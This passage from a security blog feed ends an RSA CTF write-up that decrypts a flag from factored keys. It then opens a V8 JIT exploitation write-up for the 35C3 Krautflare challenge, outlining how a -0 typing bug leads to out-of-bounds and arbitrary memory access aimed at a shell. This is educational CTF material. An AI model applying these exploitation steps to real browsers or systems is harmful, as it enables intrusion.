&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;r2 =&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;...&amp;#39;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;p3 =&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;...&amp;#39;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;q3 =&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;q3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;...&amp;#39;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;r3 =&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;...&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;p2 = 902985578846825776692383207600...
q2 = 291668652611471250039066078554...
r2 = 326199725504488859529927636344...
p3 = 142270506848638924547091203976...
q3 = 282595361018796512312481928903...
r3 = 326199725504488859529927636344...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This takes a tad bit longer, but works out, and then suddenly, now we
have all the factorized keys. Let&amp;#39;s compute all the private keys.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-py&quot; data-lang=&quot;py&quot;&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1667&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;d1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gmpy2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;powmod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;q1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;d2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gmpy2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;powmod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;q2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;d3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gmpy2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;powmod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;q3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;d4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gmpy2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;powmod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;q4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;q4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We also know that the order of the encryptions is &lt;code&gt;n2&lt;/code&gt;, &lt;code&gt;n3&lt;/code&gt;, &lt;code&gt;n4&lt;/code&gt;, &lt;code&gt;n1&lt;/code&gt;. This
means we should decrypt in the opposite order:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-py&quot; data-lang=&quot;py&quot;&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc_flag&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;pow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;d1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;pow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;d4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;pow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;d3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;pow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;d2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;...&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;0x4472676e537b77335f6669583364...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;That looks promising. Let&amp;#39;s just dump the flag now.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-py&quot; data-lang=&quot;py&quot;&gt;&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;0x&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;DrgnS{w3_fiX3d_that_f0r_y0U}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And there we go!&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;Overall, this was a super fun challenge to solve. Personally, I think
I learnt quite a lot and feel I&amp;#39;ve got a deeper understanding of both
the Coppersmith attack, as well as Hensel&amp;#39;s Lemma.&lt;/p&gt;

&lt;p&gt;For those wondering, during the CTF, we didn&amp;#39;t have such a clean
solution. &lt;code&gt;n1&lt;/code&gt; was solved by a custom solver written in Python by
me. &lt;code&gt;n2&lt;/code&gt; and &lt;code&gt;n3&lt;/code&gt; were solved by a custom solver written in Sage by
&lt;a href=&quot;https://twitter.com/ubuntor&quot;&gt;@ubuntor&lt;/a&gt; (since &lt;code&gt;solve_mod&lt;/code&gt; didn&amp;#39;t work
in Sage for some reason). The only part that matches the above code is
the solution for &lt;code&gt;n4&lt;/code&gt; which I wrote last after understanding Hensel&amp;#39;s
lemma much better. Now that I had the clean version for &lt;code&gt;n4&lt;/code&gt; though, I
couldn&amp;#39;t resist cleaning the rest of the solution up to reuse the nice
&lt;code&gt;roots_by_hensel_lift&lt;/code&gt; function, and thus this writeup :)&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Exploiting Chrome V8: Krautflare (35C3 CTF 2018)</title>
   <link href="https://www.jaybosamiya.com/blog/2019/01/02/krautflare/"/>
   <updated>2019-01-02T00:00:00+00:00</updated>
   <id>https://www.jaybosamiya.com/blog/2019/01/02/krautflare</id>
   <content type="html">&lt;p&gt;&lt;img src=&quot;/public/images/v8-plusminus-0.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;In this challenge, we had to obtain remote code execution, simply by
exploiting a 1-day bug that forgot the difference between -0 and
+0. This has probably been one of the most difficult, fun, and
frustrating bugs I have ever exploited.&lt;/p&gt;

&lt;p&gt;As someone who has never exploited a JavaScript engine vulnerability
ever before, this challenge was a journey, filled with tons of ups and
downs. I had an approximate idea of what might be involved, since I
had recently started looking into &lt;a href=&quot;https://en.wikipedia.org/wiki/Chrome_V8&quot;&gt;Chrome
V8&lt;/a&gt; to try to find some 0-day
vulnerabilities (and I succeeded! more on this in a future blog post),
but I had never actually written an exploit ever, so I thought this
challenge (which involves writing a 1-day exploit) might be an
interesting one to solve, which will help me understand v8 internals
much better too.&lt;/p&gt;

&lt;p&gt;Some quick stats: 35C3 CTF lasted a total of 48 hours, and this
challenge had a total of 3 solves by the end of the CTF. The challenge
was thus worth (due to dynamic scoring) 451 points. I spent
practically the entire CTF on this challenge (minus a couple of hours
of sleep), and solved it ~1.5 hours before the CTF ended.&lt;/p&gt;

&lt;p&gt;I have split this writeup into multiple sections. Depending on your
level of experience with v8 and this challenge, please feel free to
jump ahead (or directly read the annotated exploit code
&lt;a href=&quot;./exploit.js&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;

&lt;h2&gt;The Challenge&lt;/h2&gt;

&lt;p&gt;The challenge had the following description:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Krautflare workers are the newest breakthrough in serverless
computing. And since we&amp;#39;re taking security very seriously, we&amp;#39;re
even isolating customer workloads from each other!&lt;/p&gt;

&lt;p&gt;For our demo, we added an ancient v8 vulnerability to show that it&amp;#39;s
un-exploitable! See
&lt;a href=&quot;https://bugs.chromium.org/p/project-zero/issues/detail?id=1710&quot;&gt;https://bugs.chromium.org/p/project-zero/issues/detail?id=1710&lt;/a&gt;
for details. Fortunately, that was the last vulnerability in v8 and
our product will be secure from now on.&lt;/p&gt;

&lt;p&gt;Files at
&lt;a href=&quot;https://35c3ctf.ccc.ac/uploads/krautflare-33ce1021f2353607a9d4cc0af02b0b28.tar&quot;&gt;https://35c3ctf.ccc.ac/uploads/krautflare-33ce1021f2353607a9d4cc0af02b0b28.tar&lt;/a&gt;.
Challenge at: &lt;code&gt;nc 35.246.172.142 1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Note: This challenge is hard! It&amp;#39;s made for all the people who asked
for a hard Chrome pwnable in this survey at
&lt;a href=&quot;https://twitter.com/_tsuro/status/1057676059586560000&quot;&gt;https://twitter.com/_tsuro/status/1057676059586560000&lt;/a&gt;. Though
the bug linked above gives you a rough walkthrough how to exploit
it, you&amp;#39;ll just have to figure out the details. I hope you paid
attention in your compiler lectures :). Good luck, you have been
warned!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In case the challenge files are taken down, you can find a copy of the
provided challenge files
&lt;a href=&quot;./krautflare-33ce1021f2353607a9d4cc0af02b0b28.tar&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;Understanding the Bug&lt;/h2&gt;

&lt;p&gt;The explanation of the bug on the &lt;a href=&quot;https://bugs.chromium.org/p/project-zero/issues/detail?id=1710&quot;&gt;project
zero&lt;/a&gt;
link is useful. It tells us that the &amp;quot;typer&amp;quot; (which is a part of the
v8 JIT) misses the case of &lt;code&gt;-0&lt;/code&gt; when using &lt;code&gt;Math.expm1&lt;/code&gt;. If we look at
&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/expm1&quot;&gt;MDN for this
function&lt;/a&gt;,
we see that the functions returns &lt;code&gt;e^x - 1&lt;/code&gt;. Since we are working with
JavaScript, all numbers are double precision floating point numbers,
following the &lt;a href=&quot;https://en.wikipedia.org/wiki/IEEE_754&quot;&gt;IEEE 754&lt;/a&gt;
standard. Within this, there exist two zeros (known as &lt;a href=&quot;https://en.wikipedia.org/wiki/Signed_zero&quot;&gt;Signed
Zeros&lt;/a&gt;): &lt;code&gt;+0&lt;/code&gt; and
&lt;code&gt;-0&lt;/code&gt;. Both act almost exactly the same, except under very specific
circumstances. &lt;code&gt;Math.expm1&lt;/code&gt; is one of them. In particular,
&lt;code&gt;Math.expm1(+0) == +0&lt;/code&gt; and &lt;code&gt;Math.expm1(-0) == -0&lt;/code&gt;. This operation
seems to be performed correctly by v8, however, the typer (which is
used to perform optimizations) seems to forget this &lt;code&gt;-0&lt;/code&gt; case.&lt;/p&gt;

&lt;p&gt;The project zero link lists a simple test case that we can use to
quickly verify if the provided &lt;code&gt;d8&lt;/code&gt; binary (which is a standalone
executable, which can be used for v8), has the bug. Unfortunately, the
bug is not triggered. We&amp;#39;ll explore this soon.&lt;/p&gt;

&lt;p&gt;We also have a better look around everything else that is provided to
us, and while most of it is boilerplate code, it is important to note
that the &lt;code&gt;d8&lt;/code&gt; binary provided to us is a release binary, and that will
make it difficult to easily to develop an exploit. Thankfully, we are
provided a &lt;code&gt;build_v8.sh&lt;/code&gt; script, which we can modify and build our own
debug version (by simply changing &lt;code&gt;x64.release&lt;/code&gt; to &lt;code&gt;x64.debug&lt;/code&gt; and
running it).&lt;/p&gt;

&lt;p&gt;For most of the exploitation from this point forward, I used this
newly built debug build, switching back once in a while to check if
what I have works as expected even on the release build.&lt;/p&gt;

&lt;p&gt;For more background on understanding JIT bugs, especially if you are
not used to v8 or other JS engines, I would strongly recommend looking at the Blackhat
2018 talk by Samuel Groß (&lt;a href=&quot;https://twitter.com/5aelo&quot;&gt;@5aelo&lt;/a&gt;) titled
&lt;a href=&quot;https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf&quot;&gt;&amp;quot;Attacking Client-Side JIT
Compilers&amp;quot;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For more background on the v8 JIT (aka TurboFan), I would recommend
reading its &lt;a href=&quot;https://v8.dev/docs/turbofan&quot;&gt;docs&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;Approximate Plan of Attack&lt;/h2&gt;

&lt;p&gt;As explained on the &lt;a href=&quot;https://bugs.chromium.org/p/project-zero/issues/detail?id=1710&quot;&gt;project zero
link&lt;/a&gt;,
we will need to use &lt;code&gt;Object.is&lt;/code&gt; to differentiate between &lt;code&gt;-0&lt;/code&gt; and &lt;code&gt;+0&lt;/code&gt;
once we have triggered the bug. Neither division, nor &lt;code&gt;Math.atan2&lt;/code&gt; are
going to be useful for us. In addition to this, we need to prevent the
bug from being triggered in two phases of the compiler pipeline, and
then have it triggered in the third phase. In particular, we need to
get past the &amp;quot;typer&amp;quot; and &amp;quot;load elimination&amp;quot; phases, and we need to
trigger the bug in the &amp;quot;simplified lowering&amp;quot; phase.&lt;/p&gt;

&lt;p&gt;Once we have surpassed these issues, we need to ensure that the
&lt;code&gt;Object.is&lt;/code&gt; becomes into a &lt;code&gt;SameValue&lt;/code&gt; node, instead of a
&lt;code&gt;ObjectIsMinusZero&lt;/code&gt; node, in addition to making sure that the value
passed into this comes from a &lt;code&gt;Call&lt;/code&gt; node, rather than a &lt;code&gt;FloatExpm1&lt;/code&gt;
node.&lt;/p&gt;

&lt;p&gt;Once we have surpassed these issues, the (wrong) type can be used to
perform a bounds check elimination. This means that a &lt;code&gt;CheckBounds&lt;/code&gt;
node that exists before an array access would be removed, and we
obtain an Out-of-Bounds Read/Write (OOB RW) primitive. Following this,
we use it to obtain an Arbitrary Read/Write (Arb RW) primitive, and
some &amp;quot;good&amp;quot; memory leaks, which we can then use to &lt;em&gt;somehow&lt;/em&gt;
manipulate memory and give us a shell.&lt;/p&gt;

&lt;p&gt;As for how the &lt;em&gt;somehow&lt;/em&gt; would work: in the past, attacking JavaScript
Engines was much easier, since they used to have RWX pages, used for
JITed functions, where once we had arbitrary read write, we could&amp;#39;ve
simply thrown in our shellcode into a JITed function and then called
it. Nowadays, we don&amp;#39;t have RWX pages, so we&amp;#39;ll need to come up with a
way around it.&lt;/p&gt;

&lt;h2&gt;Setting up Debugging&lt;/h2&gt;

&lt;p&gt;In order to aid debugging, as mentioned in the previous section, we
build a debug build of &lt;code&gt;d8&lt;/code&gt;. In addition to this, we also use
&lt;a href=&quot;https://chromium.googlesource.com/v8/v8/+/refs/heads/candidate/tools/turbolizer/&quot;&gt;Turbolizer&lt;/a&gt;
which will help us visualize the &lt;a href=&quot;https://darksi.de/d.sea-of-nodes/&quot;&gt;&amp;quot;sea of
nodes&amp;quot;&lt;/a&gt; graphs that v8 produces
during optimization.&lt;/p&gt;

&lt;p&gt;For debugging during exploit development, I will also be using &lt;code&gt;gdb&lt;/code&gt;
with &lt;a href=&quot;https://github.com/longld/peda&quot;&gt;&lt;code&gt;peda&lt;/code&gt;&lt;/a&gt; (mostly for its
&lt;code&gt;telescope&lt;/code&gt; command), but &lt;a href=&quot;./pedamod.py&quot;&gt;with some
modifications&lt;/a&gt;. These modifications make it easier to
work with pointers in v8, which are &lt;a href=&quot;https://en.wikipedia.org/wiki/Tagged_pointer&quot;&gt;&amp;quot;tagged
pointers&amp;quot;&lt;/a&gt; where their
least significant bit is set. Since we know that pointers are not used
directly but offset by 1, the modifications that I introduced into
&lt;code&gt;peda&lt;/code&gt; check and reset the least significant bit, before being used
for further work in the &lt;code&gt;telescope&lt;/code&gt; command.&lt;/p&gt;

&lt;p&gt;Another last important debug technique, before we get to triggering
the bug is v8 natives syntax. These are functions that begin with &lt;code&gt;%&lt;/code&gt;,
and the two important ones we&amp;#39;ll be using are
&lt;code&gt;%OptimizeFunctionOnNextCall&lt;/code&gt; and &lt;code&gt;%DebugPrint&lt;/code&gt;, both of which do
exactly what they say they do.&lt;/p&gt;

&lt;h2&gt;Triggering the Bug&lt;/h2&gt;

&lt;p&gt;Now with all the important basics out of the way, how do we trigger
this bug?&lt;/p&gt;

&lt;p&gt;The answer lies in the patch files that are provided to us. In
particular
&lt;a href=&quot;./rerevert-bugfix-880207.patch&quot;&gt;&lt;code&gt;revert-bugfix-880207.patch&lt;/code&gt;&lt;/a&gt; shows
that rather than reverting both the changes in &lt;code&gt;operation-typer.cc&lt;/code&gt;
and &lt;code&gt;typer.cc&lt;/code&gt;, only the changes in &lt;code&gt;typer.cc&lt;/code&gt; have been
reverted. However, along with this, quite helpfully, a regression unit
test has also been reverted. We can use this unit test.&lt;/p&gt;

&lt;p&gt;Side note: The &lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=880207&quot;&gt;chromium bug tracker
link&lt;/a&gt;
which is linked from the project zero link was not accessible during
most of the CTF, and was derestricted (if I remember correctly) closer
to the second day of the CTF. It confirms that the bug was fixed in
two parts (see &lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=880207#c8&quot;&gt;Comment #8&lt;/a&gt;),
and here, only the second part is reverted for this challenge.&lt;/p&gt;

&lt;p&gt;Back to triggering the bug. We use the provided regression test to
first check if the provided &lt;code&gt;d8&lt;/code&gt; and debug &lt;code&gt;d8&lt;/code&gt; actually work on this
test. We don&amp;#39;t want to depend on
&lt;a href=&quot;https://chromium.googlesource.com/v8/v8/+/dde25872f58951bb0148cf43d6a504ab2f280485/test/mjsunit/mjsunit.js&quot;&gt;&lt;code&gt;mjsunit.js&lt;/code&gt;&lt;/a&gt;. So,
we remove the fluff that isn&amp;#39;t &amp;quot;standard&amp;quot; JS or an optimization
native, and check, if we can trigger it. Fortunately, we can, with the following code:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
